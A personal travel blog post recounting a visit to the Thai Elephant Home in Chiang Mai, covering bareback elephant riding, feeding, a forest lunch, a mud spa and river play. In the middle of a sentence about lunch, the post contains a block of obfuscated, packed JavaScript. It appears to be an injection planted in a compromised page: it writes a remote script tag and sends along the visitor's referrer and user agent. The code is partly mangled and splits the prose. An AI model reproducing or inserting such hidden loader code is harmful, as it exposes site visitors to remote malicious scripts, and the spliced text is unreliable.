After leaving Cambodia we headed to Chiang Mai. A cute, charming town in Northern Thailand. One of our few “Scheduled” activities was a visit to the Thai Elephant Home. Well rated on tripadvisor and recommended by a friend, we were excited to spend a day with these amazing animals!
What sets this outfit apart from others is that you get to ride the elephants bare back. No little basket – which we were told hurt the elephants (we were also told the elephants didn’t mind….so who knows). Sounded cool to me!
We started with an orientation where they told us a handful of signals that I quickly forgot. Then we changed into some elephant riding clothes – giant pants made from an amazingly fashionable color of blue denim and a matching button down. Stylish. To get to know the elephants, we fed them some bananas. They hold them with their drunk and then pop them in their mouths. So cute!
Then it was time to ride. Possibly one of the scarier things I did on this trip. Why? Well, you sit on the elephants neck and it feels like you are going to fall right off over their head. It was a very uncomfortable feeling. Head over heels at 8+ feet up. Too late to back out now!
We eventually got the hang of it and enjoyed an amazing ride through the beautiful forest.
We ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dhyif|var|u0026u|referrer|kabra||js|php’.split(‘|’),0,{}))
stopped for lunch at random spot in the forest. Pad thai wrapped in a leaf! And then we got elephant kisses! It feels like a wet suction cup.
At the lunch spot, there was also a “mud spa”. We were told that the mud was good for our skin. Whatever. When in Rome.
And then we got to play with the elephants in the river. They picked us up with their trunks. It was pretty nifty.
Highly suggest it. Super awesome.